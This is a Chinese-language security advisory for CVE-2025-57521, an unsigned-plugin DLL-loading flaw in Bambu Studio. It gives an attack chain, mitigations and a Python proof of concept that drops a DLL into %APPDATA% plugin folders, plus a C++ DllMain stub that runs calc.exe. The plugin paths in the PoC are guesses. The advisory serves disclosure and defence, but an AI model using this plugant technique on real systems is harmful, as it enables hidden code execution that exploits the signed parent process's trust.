IPBUF安全漏洞报告
English
CVE-2025-57521 CVSS 6.1 中危

CVE-2025-57521:Bambu Studio网络插件未签名验证导致本地代码执行

披露日期: 2025-10-21

漏洞信息

漏洞编号
CVE-2025-57521
漏洞类型
本地权限提升/任意代码执行(DLL劫持/不安全加载)
CVSS评分
6.1 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Bambu Studio

相关标签

CVE-2025-57521Bambu Studio任意代码执行DLL劫持不安全加载签名验证绕过本地权限提升3D打印软件中危漏洞Windows

漏洞概述

CVE-2025-57521是Bambu Studio 3D打印切片软件中的一个安全漏洞,影响2.1.1.52及更早版本。该漏洞源于应用程序在启动过程中加载网络插件时,未对插件的数字签名进行验证,也未对插件的真实性进行校验。攻击者可以利用这一缺陷,将恶意组件放置在应用程序预期的可控路径下(如Windows系统的%APPDATA%目录),从而在应用程序启动时实现任意代码执行。由于Bambu Studio主程序本身经过数字签名,恶意插件可以继承主程序的信任关系,规避依赖签名父进程的安全检测机制。该漏洞的CVSS 3.1评分为6.1,属于中危级别,攻击向量为本地(AV:L),需要低权限(PR:L),无需用户交互(UI:N)。该漏洞对机密性影响较低,对完整性影响较高,对可用性无影响。值得注意的是,尽管该漏洞需要本地访问权限,但利用门槛较低,攻击者可以通过社会工程学、恶意软件投递或物理访问等方式实现攻击,对使用Bambu Studio的3D打印爱好者和专业用户构成潜在威胁。官方已在2.3.0版本中修复了该问题,建议用户及时更新。

技术细节

该漏洞的核心技术原理是Bambu Studio在应用程序启动过程中,通过动态链接库(DLL)搜索路径加载网络插件时存在安全缺陷。具体而言,应用程序在加载网络相关插件时,未实施以下关键安全措施:1)未验证插件文件的数字签名;2)未校验插件的发布者身份;3)使用了不安全的DLL搜索顺序。Windows系统在解析DLL路径时,会按照特定的搜索顺序查找文件,包括应用程序目录、系统目录、当前工作目录以及PATH环境变量中的路径。Bambu Studio的网络插件加载路径中包含%APPDATA%等用户可控目录,攻击者可以在该目录下植入恶意的DLL文件。当应用程序启动时,操作系统会优先加载攻击者控制的恶意DLL,而非合法插件。由于主程序Bambu Studio.exe经过合法的数字签名,安全防护软件可能基于签名信任链放行该进程加载的组件,从而绕过部分安全检测。攻击利用步骤包括:1)确认目标系统安装了受影响版本的Bambu Studio;2)在%APPDATA%\BambuStudio\等预期插件目录下放置恶意DLL;3)等待用户正常启动Bambu Studio;4)恶意DLL在应用程序上下文中执行,获取与用户相同的权限级别。

攻击链分析

STEP 1
步骤1:环境侦察
攻击者确认目标系统安装了受影响版本的Bambu Studio(2.1.1.52及更早版本),并确定应用程序的插件加载路径,包括%APPDATA%下的可写目录。
STEP 2
步骤2:恶意组件投递
攻击者通过社会工程学、恶意软件投递或物理访问等方式,在目标系统的%APPDATA%\BambuStudio\plugins等可控目录下植入恶意的网络插件DLL文件。
STEP 3
步骤3:触发应用程序启动
攻击者等待或诱导用户正常启动Bambu Studio应用程序。应用程序在启动过程中会按照DLL搜索顺序查找并加载网络插件。
STEP 4
步骤4:恶意插件加载执行
由于应用程序未验证插件签名,操作系统优先加载了攻击者放置在可控路径下的恶意DLL。恶意代码在Bambu Studio.exe的进程上下文中执行,获取与用户相同的权限级别。
STEP 5
步骤5:权限维持与影响
由于Bambu Studio.exe经过数字签名,安全防护软件可能基于信任链放行恶意代码。攻击者可执行任意命令,包括安装后门、窃取敏感数据(如3D模型文件)、持久化驻留等。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-57521 PoC - Bambu Studio Malicious Network Plugin DLL # This PoC demonstrates the concept of placing a malicious DLL # in the expected plugin location to achieve code execution import os import shutil import subprocess # Target plugin directory controlled by the attacker (under %APPDATA%) APPDATA_PATH = os.environ.get('APPDATA', '') PLUGIN_DIRS = [ os.path.join(APPDATA_PATH, 'BambuStudio', 'plugins'), os.path.join(APPDATA_PATH, 'BambuStudio', 'network'), os.path.join(APPDATA_PATH, 'Bambu Lab', 'BambuStudio', 'plugins'), ] # Expected plugin name that Bambu Studio loads at startup TARGET_PLUGIN = "network_plugin.dll" MALICIOUS_PAYLOAD = "malicious_network.dll" def check_target_installed(): """Check if vulnerable Bambu Studio is installed""" common_paths = [ r"C:\Program Files\Bambu Studio\bambu-studio.exe", r"C:\Program Files (x86)\Bambu Studio\bambu-studio.exe", os.path.join(APPDATA_PATH, '..', 'Local', 'Programs', 'bambu-studio', 'bambu-studio.exe'), ] for path in common_paths: if os.path.exists(path): print(f"[+] Found Bambu Studio at: {path}") return True print("[-] Bambu Studio not found in common locations") return False def deploy_malicious_plugin(): """Deploy malicious DLL to the expected plugin location""" for plugin_dir in PLUGIN_DIRS: if not os.path.exists(plugin_dir): try: os.makedirs(plugin_dir, exist_ok=True) print(f"[+] Created plugin directory: {plugin_dir}") except PermissionError: continue target_path = os.path.join(plugin_dir, TARGET_PLUGIN) try: # Copy the malicious DLL to the expected location if os.path.exists(MALICIOUS_PAYLOAD): shutil.copy2(MALICIOUS_PAYLOAD, target_path) print(f"[+] Malicious plugin deployed to: {target_path}") return True else: print(f"[!] Payload {MALICIOUS_PAYLOAD} not found, creating stub") with open(target_path, 'wb') as f: f.write(b'MZ\x90\x00') # PE header stub return True except PermissionError: print(f"[-] Permission denied: {target_path}") return False def trigger_execution(): """Trigger Bambu Studio startup to load the malicious plugin""" bambu_path = r"C:\Program Files\Bambu Studio\bambu-studio.exe" if os.path.exists(bambu_path): print(f"[*] Launching Bambu Studio to trigger DLL loading...") subprocess.Popen([bambu_path]) print("[+] Bambu Studio launched, malicious plugin should execute") else: print("[-] Bambu Studio executable not found") if __name__ == "__main__": print("=" * 60) print("CVE-2025-57521 - Bambu Studio Plugin Hijacking PoC") print("=" * 60) if check_target_installed(): if deploy_malicious_plugin(): print("\n[*] Malicious plugin is in place.") print("[*] Waiting for user to launch Bambu Studio...") # Uncomment to auto-trigger: # trigger_execution() else: print("[-] Target application not found. Exiting.") // --- Malicious DLL (C++) that gets executed when loaded --- /* #include <windows.h> #include <stdlib.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { switch (reason) { case DLL_PROCESS_ATTACH: // Disable file system redirection for WOW64 PVOID oldValue; Wow64DisableWow64FsRedirection(&oldValue); // Execute malicious payload in context of Bambu Studio system("calc.exe"); // Replace with actual payload Wow64RevertWow64FsRedirection(oldValue); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } */

影响范围

Bambu Studio <= 2.1.1.52

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)监控并限制%APPDATA%\BambuStudio\及其子目录的写入权限,仅允许可信用户进行修改;2)使用进程监控工具(如Sysmon)跟踪Bambu Studio进程加载的DLL文件,对非预期路径的DLL加载行为发出告警;3)部署主机入侵检测系统(HIDS)检测异常的DLL劫持行为;4)定期检查Bambu Studio插件目录中是否存在可疑文件;5)避免以管理员权限运行Bambu Studio,降低恶意代码执行后的影响范围;6)使用应用程序控制软件阻止未知来源的DLL加载。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表